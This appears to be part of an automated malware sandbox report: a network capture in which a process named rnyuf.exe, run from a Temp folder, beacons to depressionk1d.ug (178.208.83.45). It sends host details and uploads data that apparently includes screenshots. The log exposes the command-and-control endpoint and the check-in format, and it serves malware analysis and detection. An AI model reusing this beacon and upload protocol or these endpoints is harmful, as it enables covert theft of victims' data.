Nov 12, 2021 22:24:19.597718954 CET	14486	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:19.597820044 CET	14497	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:19.597867012 CET	14507	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:24:19.620440006 CET	14513	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:24:19.620588064 CET	14534	OUT	Data Raw: f2 17 b7 ff 00 7a 9f aa 1f f8 9a 5c 7f be 6a 3d 1b fe 42 f6 ff 00 ef 53 b5 13 9d 46 7f f7 cd 72 5b f7 ff 00 23 59 7f 07 e6 56 a4 ef 45 15 b9 ca 2d 14 94 b4 00 52 d2 52 f6 a0 40 29 69 29 69 08 29 45 25 28 a0 41 40 a2 81 48 07 03 4a 29 29 45 21 31 Data Ascii: z\j=BSFr[#YVE-RR@)i)i)E%(A@HJ))E!1)"Wm$*PvxEz^^<CW6_9z1z=x'KtVNkQ<i/Vk~B4WIqNQZVCZxsPNE&LsR@)i)"5Tp5
Nov 12, 2021 22:24:19.620743990 CET	14539	OUT	Data Raw: 2b c0 6b dd be 03 de 5a da 78 7f 56 fb 4d cc 30 ee ba 5d be 6c 81 73 84 e7 19 ac 2b fc 06 b4 7e 23 9f ff 00 84 73 5c ff 00 a0 2e a3 ff 00 80 af fe 14 a3 c3 ba ea b0 61 a3 ea 40 83 90 45 ab f1 fa 57 bb ff 00 6c 69 9f f4 12 b3 ff 00 c0 84 ff 00 1a Data Ascii: +kZxVM0]ls+~#s\.a@EWliO/v_]U?Y'Wwe)IdePLmZ5EU?AK/O>2eT6u<KSjV:wwje;j@S%-4&wN5X%WxP2
Nov 12, 2021 22:24:19.620790005 CET	14559	OUT	Data Raw: 6a 64 f3 0c c5 2e 2a 50 86 94 25 04 f3 11 81 4f 02 9e 14 53 c0 5a 64 b9 11 85 a7 84 a7 82 a3 bd 1e 6a 0f e2 14 10 db 62 04 a7 04 a6 9b 98 87 f1 52 7d b6 31 d3 9a 77 42 e5 9b e8 4c 12 94 25 56 37 cb d8 53 7e da 4f 41 45 c3 d9 cc bd b7 14 a0 56 7f Data Ascii: jd.*P%OSZdjbR}1wBL%V7S~OAEVD+RQVW1=w}ExURQa{"h[sFM7w9J~7xqBhh$\kc%5X5.w/YsFr-IM}b]\G
Nov 12, 2021 22:24:19.669600010 CET	14577	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:19 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49815	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:27.735651970 CET	3782	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:27.735729933 CET	3782	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:27.735912085 CET	3792	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:27.736035109 CET	3795	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:27.758775949 CET	3821	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:27.781544924 CET	3827	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:27.781615973 CET	3840	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og
Nov 12, 2021 22:23:27.781647921 CET	3845	OUT	Data Raw: 29 4c fc d9 c6 49 c9 eb f2 8a f7 b9 bf e1 22 f3 e4 f2 3f b2 fc 9d c7 66 ff 00 33 76 dc f1 9c 77 c5 79 3d cc ff 00 07 a7 27 cb d6 6e ed b3 ff 00 3c a2 9c e3 fe fa 8c d7 45 37 8d fe 16 cf 3c 93 4b a8 ee 92 46 2e c7 c8 ba 19 24 e4 ff 00 0d 71 62 64 Data Ascii: )LI"?f3vwy='n<E7<KF.$qbdt}GD)>yn7357_Mp\|UC^;%yR&\|\|*UiE5K`9^~i)4.u%H8 bp
Nov 12, 2021 22:23:27.781672955 CET	3856	OUT	Data Raw: 00 19 a7 03 49 40 14 08 75 38 0a 60 a7 0a 04 c7 52 8a 4e d4 53 24 75 14 50 28 10 b4 52 d1 8a 62 16 94 51 4a 28 25 8b 40 eb 45 39 7a d3 11 b3 e1 e1 fe 99 29 f4 8c ff 00 2a a0 7e f1 fa d6 87 87 87 fa 4c df f5 cc ff 00 23 59 e7 ab 7d 6b 9e 3f c5 90 Data Ascii: I@u8`RNS$uP(RbQJ(%@E9z)*~L#Y}k?ElsJ)ZZhTXK@RR!iE%(HCSQ&%tZ46IOy32~~"J^Wa!_G7i7:1Rg:C
Nov 12, 2021 22:23:27.781697035 CET	3859	OUT	Data Raw: d4 a1 a8 e6 1f 21 29 6a 4d d5 16 ea 03 52 e6 1f 29 30 6a 5c d4 21 a9 db a9 dc 5c a4 a0 d3 b3 50 86 a5 0d 4e e4 f2 92 83 4b 9a 8c 1a 5c d3 15 87 e6 8c d3 01 a5 cd 02 b0 ea 50 69 99 cd 00 d0 16 24 a3 34 cc d1 9c 77 a7 71 58 92 97 35 16 f1 47 99 e9 Data Ascii: !)jMR)0j\!\PNK\Pi$4wqX5G@rf5.R}oM-OQ4fr44nN&`xb>:jwccTFj\bjbyl7sPmc@-T "msx-8Ya>AHMsGNT
Nov 12, 2021 22:23:27.781708956 CET	3865	OUT	Data Raw: 0f 3c d6 f4 3f 88 8d 93 6d 4a ff 00 99 e2 d4 b4 bd a9 2b d2 32 14 51 45 18 a6 23 ac f8 65 ff 00 25 23 43 ff 00 af 8f fd 94 d7 d3 53 cf a9 4d ac cd 67 67 3d a4 31 c3 6f 14 a4 cd 6e d2 16 2e d2 0e ce b8 03 60 fc eb e6 5f 86 7f f2 51 f4 3f fa f8 ff Data Ascii: <?mJ+2QE#e%#CSMgg=1on.`_Q?M}&]#:>5R-WvM%^N#OnncvgWn4]w/xD3;7d9f/C:k[nN#
Nov 12, 2021 22:23:28.285665035 CET	3892	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:28 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.4	50136	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:19.624877930 CET	14560	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:19.647248983 CET	14576	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:19 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:19.647293091 CET	14576	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.4	50137	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:19.783322096 CET	14578	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:19.808468103 CET	14578	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.4	50138	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:19.950419903 CET	14579	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:19.976623058 CET	14579	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.4	50139	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:20.113236904 CET	14580	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:20.140470028 CET	14580	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.4	50140	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:20.286032915 CET	14581	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:20.311932087 CET	14581	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.4	50141	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:20.451843977 CET	14582	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:20.479233980 CET	14582	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.4	50142	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:20.608309984 CET	14583	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:20.634598970 CET	14583	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.4	50143	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:20.766396046 CET	14584	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:20.792874098 CET	14584	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:24:20.794776917 CET	14585	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
